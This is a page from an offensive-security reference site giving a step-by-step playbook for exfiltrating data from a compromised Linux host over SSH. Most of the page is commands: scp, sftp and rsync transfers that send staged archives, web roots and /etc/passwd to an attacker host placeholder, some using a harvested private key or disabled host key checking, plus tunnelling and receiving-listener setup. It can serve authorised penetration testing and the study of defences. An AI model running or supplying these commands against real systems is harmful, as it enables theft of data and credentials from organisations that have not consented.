# Data Exfiltration over SSH and SCP

- **URL:** https://hackindex.io/services/ssh/data-exfiltration/exfiltration-over-ssh-and-scp
- **Path:** SSH > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/ssh/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

SSH is the cleanest exfiltration channel available on Linux: traffic is encrypted, it blends with legitimate admin activity, and no additional tooling is required beyond the SSH client already present on most systems. If you have SSH credentials or a key and the target can reach your attacker machine on port 22, this is the first method to try.

Stage and compress data before transferring. See [Staging and Compressing Data for Exfiltration](https://hackindex.io/platforms/linux/data-exfiltration/staging-and-compressing-data).

## SSH and SCP Data Exfiltration Methods

Several tools ship with most Linux systems and work over SSH without additional setup:

- `scp` for single files and directories
- `sftp` for interactive multi-file transfers
- `rsync` for incremental or large transfers
- SSH tunnels for routing non-SSH exfiltration through an encrypted channel

## SCP: Single File or Directory

Copy a single file to your attacker machine:

```bash
scp /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

Copy an entire directory recursively:

```bash
scp -r /var/www/html/ $USER@$LHOST:/tmp/loot/
```

Copy using a specific private key if password authentication is disabled:

```bash
scp -i /tmp/harvested_key /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

Suppress host key checking when connecting to a new host:

```bash
scp -o StrictHostKeyChecking=no /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

## SCP on a Non-Standard Port

If your SSH listener is not on port 22:

```bash
scp -P $LPORT /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

Note the capital `-P` for scp versus lowercase `-p` for ssh.

## SFTP

SFTP gives an interactive session for browsing and transferring multiple files:

```bash
sftp $USER@$LHOST
```

Inside the session:

```bash
put /dev/shm/.work/archive.tar.gz /tmp/
put /etc/passwd /tmp/
exit
```

Non-interactive single transfer:

```bash
sftp $USER@$LHOST <<EOF
put /dev/shm/.work/archive.tar.gz /tmp/
EOF
```

## rsync

rsync is useful for large or incremental transfers. It only sends changed blocks, which is faster for repeated exfiltration of an evolving dataset.

```bash
rsync -avz /var/www/html/ $USER@$LHOST:/tmp/loot/
```

`-a` preserves permissions and timestamps, `-v` verbose, `-z` compress in transit.

Over a non-standard SSH port:

```bash
rsync -avz -e "ssh -p $LPORT" /var/www/html/ $USER@$LHOST:/tmp/loot/
```

## Receiving on Your Attacker Machine

Your attacker machine needs SSH running and accepting connections. On Kali this is typically disabled by default: start it first:

```bash
sudo systemctl start ssh
```

Confirm the service is listening:

```bash
ss -tlnp | grep :22
```

Make sure the receiving directory is writable by the user being used for the transfer.

## Transferring Through a Tunnel

If the target cannot reach your attacker machine directly but you have a reverse SSH tunnel or SOCKS proxy established, route scp through it:

```bash
scp -o ProxyJump=$USER@$TARGET_IP /dev/shm/.work/archive.tar.gz $USER@$LHOST:/tmp/
```

Or through a forwarded port:

```bash
scp -P $LPORT /dev/shm/.work/archive.tar.gz $USER@127.0.0.1:/tmp/
```

Where $LPORT is a locally forwarded port pointing back through the tunnel. See SSH Port Forwarding and Tunneling.

## References

- [scp(1) ](https://man.openbsd.org/scp.1) - OpenBSD manual page Full reference for scp options including port, identity file, and proxy usage.
- [sftp(1)](https://man.openbsd.org/sftp.1) - OpenBSD manual page Reference for interactive and batch SFTP transfers.
- [rsync(1)](https://man7.org/linux/man-pages/man1/rsync.1.html) -  Linux man page Full reference for rsync options, remote transfer syntax, and SSH integration.